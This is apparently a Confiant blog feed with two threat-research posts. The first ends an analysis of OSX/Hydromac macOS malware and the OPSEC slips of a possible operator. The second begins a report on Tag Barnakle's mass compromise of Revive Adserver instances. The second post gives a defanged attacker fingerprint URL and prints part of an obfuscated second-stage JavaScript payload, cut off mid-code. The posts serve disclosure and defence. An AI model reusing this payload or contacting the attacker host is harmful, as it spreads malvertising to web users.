src="https://substackcdn.com/image/fetch/$s_!WQqr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png" width="700" height="151" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a2f035ec-505e-41f2-8592-036d25e773d0_700x151.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:151,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!WQqr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 424w, https://substackcdn.com/image/fetch/$s_!WQqr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 848w, https://substackcdn.com/image/fetch/$s_!WQqr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 1272w, https://substackcdn.com/image/fetch/$s_!WQqr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Hydromac Agent sample C2 server</p><p>This C2 server has been the C2 for a famous malware dubbed <a href="https://objective-see.com/blog/blog_0x20.html">Mughthesec</a> (originally reported in 2017, by macOS security Expert <a href="https://twitter.com/patrickwardle?lang=fr">Patrick Wardle</a>).</p><p>This got me intrigued. I went to check Mughthesec and found that Mughthesec contains the OSX/Tarmac agent commands: (<strong>TRMC_XXX</strong> referring to <strong>Tarmac</strong>) as we can see below (string dump):</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wKSf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wKSf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 424w, https://substackcdn.com/image/fetch/$s_!wKSf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 848w, https://substackcdn.com/image/fetch/$s_!wKSf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 1272w, https://substackcdn.com/image/fetch/$s_!wKSf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wKSf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png" width="700" height="519" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:519,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!wKSf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 424w, https://substackcdn.com/image/fetch/$s_!wKSf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 848w, https://substackcdn.com/image/fetch/$s_!wKSf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 1272w, https://substackcdn.com/image/fetch/$s_!wKSf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a5f7a6-c1fd-4d60-8269-8460cf9ff4ca_700x519.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Original Mughthesec sample 9c4f74feff131fa93dd04175795f334649ee91ad7fce11dc661231254e1ebd84</p><p>We also reported about the commands above, in the previous <a href="https://blog.confiant.com/osx-shlayer-new-shurprise-unveiling-osx-tarmac-f965a32de887">OSX/Tarmac sample analysis</a> we published in 2019.</p><p>The information to retain here, is the Hydromac Agent we found, and the previous Mughthesec from 2017, and the recent Hydromac Root Agent (MapperState) are related and were used in real malware campaigns through malvertising affiliates.</p><p>This is based on the overlap we found in the payloads, and the C2 servers and the key information leaked from the Flashcards app and the malveritising campaigns that we track delivering both OSX/Tarmac, and now OSX/Hydromac.</p><p><strong>In other words, the information present in the Flashcards app is legit and corresponds to real malware that is found in the wild.</strong></p><p>One could believe that Individual X, did what we call in our Cyber Security jargon, an Operational security (OPSEC) mistake: by disclosing a name, photo ID, personal email and probably an indication of a physical address, though we are not sure.</p><p>It is interesting to note, Individual X is linked to a questionable organization called &#8220;CashwithFB&#8221;, based on wayback machine, and old forums posts from 2017, it seems this company runs ads campaigns from other people&#8217;s Facebook ads accounts, by renting them and help the subscribers to &#8220;make at least 50$ in 2 days and up to $100 in a week&#8221;. A classic.</p><p>Side note: CashWithFB run the ads relying on victims IP addresses used to logging into facebook . This is done by using a remote desktop software called Splashtop:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C-fM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C-fM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 424w, https://substackcdn.com/image/fetch/$s_!C-fM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 848w, https://substackcdn.com/image/fetch/$s_!C-fM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 1272w, https://substackcdn.com/image/fetch/$s_!C-fM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C-fM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png" width="700" height="103" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:103,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!C-fM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 424w, https://substackcdn.com/image/fetch/$s_!C-fM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 848w, https://substackcdn.com/image/fetch/$s_!C-fM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 1272w, https://substackcdn.com/image/fetch/$s_!C-fM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5a48aaa-d59d-4184-bcb1-48344f6c44df_700x103.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>CashWithFB advertising</p><p>Whether Individual X is related to HydroMac flashcards, or the malware itself is unclear, though we noticed suspicious links between Individual X and the classic malvertising schemes operated by companies in the US.</p><p>The malvertising links, Tarmac/Hydromac being a malware dropped through Malvertising, Web developement skills, flashcards apps describing malware commands, numerous Opsec mistakes, make us believe that Individual X might be linked to malvertising affiliates. A relationship though which we are not 100% sure, and we will leave this individual level attribution to more competent organizations.</p><h2><strong>Conclusion</strong></h2><p>To close this chapter, it is worth noting that this is not the first time critical information is leaked via Flashcards apps, interestingly this week B<a href="https://www.bellingcat.com/news/2021/05/28/us-soldiers-expose-nuclear-weapons-secrets-via-flashcard-apps/">ellingcat has reported </a>that US Soldiers exposed Nuclear Weapons Secrets via Flashcard Apps, as they were using them for learning purposes.</p><p>The usage of Flashcard apps might be used for training purposes? Or could Individual X be only one member of a larger organization? We do not know but we will keep hunting.</p>]]></content:encoded></item><item><title><![CDATA[Tag Barnakle One Year Later: 120+ More Revive Adserver Hacks]]></title><description><![CDATA[A year ago, we published a comprehensive disclosure that introduced Tag Barnakle, a threat actor whose specialty is the mass compromise of Revive Adserver instances.]]></description><link>https://blog.confiant.com/p/tag-barnakle-one-year-later-120-more-revive-adserver-hacks-f3e5b3bc8e70</link><guid isPermaLink="false">https://blog.confiant.com/p/tag-barnakle-one-year-later-120-more-revive-adserver-hacks-f3e5b3bc8e70</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Mon, 19 Apr 2021 19:55:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!jkx_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jkx_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jkx_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 424w, https://substackcdn.com/image/fetch/$s_!jkx_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 848w, https://substackcdn.com/image/fetch/$s_!jkx_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!jkx_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jkx_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg" width="700" height="467" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:467,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!jkx_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 424w, https://substackcdn.com/image/fetch/$s_!jkx_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 848w, https://substackcdn.com/image/fetch/$s_!jkx_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!jkx_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30e7b9b2-e191-4843-9419-98e1771abb48_700x467.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo via Unsplash.com</figcaption></figure></div><p>A year ago, we published a comprehensive disclosure that introduced Tag Barnakle, a threat actor whose specialty is the mass compromise of Revive Adserver instances.</p><p>Today, we will reflect on Tag Barnakle activity over the last year to see if our disclosure inspired any changes to their modus operandi or led to a pullback as a result of increased scrutiny (spoiler alert: it didn&#8217;t).</p><h3><strong>Refresher &#8212; What Makes Tag Barnakle Unique?</strong></h3><p>Most malvertising groups, sophisticated or not, approach their task by infiltrating the advertising technology ecosystem as media buyers. Regardless of how much technical prowess they might bring to their infrastructure with regards to fingerprinting, cloaking, delivery, and persistence &#8212; for malvertisers, everything tends to begin with biz dev and a deep understanding of the industry they want to penetrate.</p><p>This usually involves making a concerted effort to establish convincing personas as ad tech insiders so that large advertising platforms will take their business without much additional scrutiny.</p><p>Tag Barnakle on the other hand, is able to bypass this initial hurdle completely by going straight for the jugular &#8212; mass compromise of ad serving infrastructure. Likely, they&#8217;re also able to boast an ROI that would eclipse their rivals as they don&#8217;t need to spend a dime to run ad campaigns.</p><h3><strong>The Aftermath From Our Initial Disclosure</strong></h3><p>The response to our Tag Barnakle disclosure from last April was loud and widespread. Our blog post was picked up by the likes of ZDNet, BleepingComputer, and quickly syndicated among dozens of smaller tech publications, blogs, and the ad tech community at large:</p><h2><strong><a href="https://www.zdnet.com/article/hackers-have-breached-60-ad-servers-to-load-their-own-malicious-ads/?source=post_page-----f3e5b3bc8e70---------------------------------------">Hackers have breached 60 ad servers to load their own malicious ads | ZDNet</a></strong></h2><h2><strong><a href="https://www.bleepingcomputer.com/news/security/revive-ad-servers-being-hacked-to-distribute-malicious-ads/?source=post_page-----f3e5b3bc8e70---------------------------------------">Revive ad servers being hacked to distribute malicious ads</a></strong></h2><h2><strong><a href="https://www.revive-adserver.com/blog/response-to-report-about-outdated-revive-adserver-installations-being-compromised/?source=post_page-----f3e5b3bc8e70---------------------------------------">Response to report about outdated Revive Adserver installations being compromised</a></strong></h2><h2><strong><a href="https://propellerads.com/pr-general-response-to-articles-alleging-malware-on-the-propeller-ads-network/?source=post_page-----f3e5b3bc8e70---------------------------------------">General Response To Recent Articles Alleging Malware On the Propeller Ads Network</a></strong></h2><p></p><p>This is all to say that, if the world didn&#8217;t know about this threat actor before, they sure know about them now, but rather than curtail their activity in light of the attention, Tag Barnakle has all but doubled down.</p><p>In addition, in spite of the defensive posturing from the parties involved, we stand by our prior research and assessment.</p><h3><strong>Tag Barnakle Today &#8212; A Pivot Towards Mobile</strong></h3><p>Over the last 12 months, we&#8217;ve identified over 120 revive instances that bear attribution markers of Tag Barnakle related compromise with many still impacted today.</p><p>The overall pattern looks something like this:</p><pre><code>Hacked Revive Adserver &#8594; Malicious Payload &#8594; 
Client-side Fingerprinting &#8594; Server-side Cloaking &#8594; 
Secondary Payload &#8594; Propeller Ads</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2Di2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2Di2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 424w, https://substackcdn.com/image/fetch/$s_!2Di2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 848w, https://substackcdn.com/image/fetch/$s_!2Di2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!2Di2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2Di2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg" width="1000" height="927" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:927,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!2Di2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 424w, https://substackcdn.com/image/fetch/$s_!2Di2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 848w, https://substackcdn.com/image/fetch/$s_!2Di2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!2Di2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F400d8f63-1c41-4214-8991-b1363b862208_1000x927.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The initial payload that&#8217;s appended to the hacked Revive Adserver&#8217;s banners is a familiar &#8220;Javascript-Obfuscator&#8221; style mess:</p><p>The UserAgent is matched against the following regular expression in one of the client-side fingerprinting conditions:</p><pre><code>&#8220;android|iPad|iPhone|iPod&#8221;</code></pre><p>This shows us that Tag Barnakle is now pushing mobile targeted campaigns, whereas last year they were happy to take on desktop traffic.</p><p>The payload performs a client-side fingerprinting check and posts the fingerprint back to an attacker controlled server to request follow-up Javascript to execute.</p><p>Key components when it comes to Tag Barnakle&#8217;s targeting criteria include a WebGL debug parameters that are consistent with mobile devices.</p><p>In our case (Android) we passed their check with the following:</p><p><code>Unmasked Vendor = ARM</code></p><p><code>Unmasked Renderer = Mali-G71</code></p><p>The packed fingerprint url looks like this:</p><pre><code>https://galikos[.]com/ci.html?mAn8iynQtt=SW50ZWwgSqW5jPngyMEludGVsKFIpIElyaXMoVE0OIFBsdXMgR3J3cGhpY37gNjU1</code></pre><p>If the check fails server-side, no code is returned, but in the event that the targeting and the parameters align, we get the next stage:</p><pre><code>var _0x209b=[&#8221;charCodeAt&#8221;,&#8221;fromCharCode&#8221;,&#8221;atob&#8221;,&#8221;length&#8221;];(function(_0x58f22e,_0x209b77){var _0x3a54d6=function(_0x562d16){while(--_0x562d16){_0x58f22e[&#8221;push&#8221;](_0x58f22e[&#8221;shift&#8221;]());}};_0x3a54d6(++_0x209b77);}(_0x209b,0x1d9));var _0x3a54=function(_0x58f22e,_0x209b77){_0x58f22e=_0x58f22e-0x0;var _0x3a54d6=_0x209b[_0x58f22e];return _0x3a54d6;};function pr7IbU3HZp6(_0x2df7f1,_0x4ed28f){var _0x40b1c0=[],_0xfa98e6=0x0,_0x1d2d3f,_0x4daddb=&#8221;&#8220;;for(var 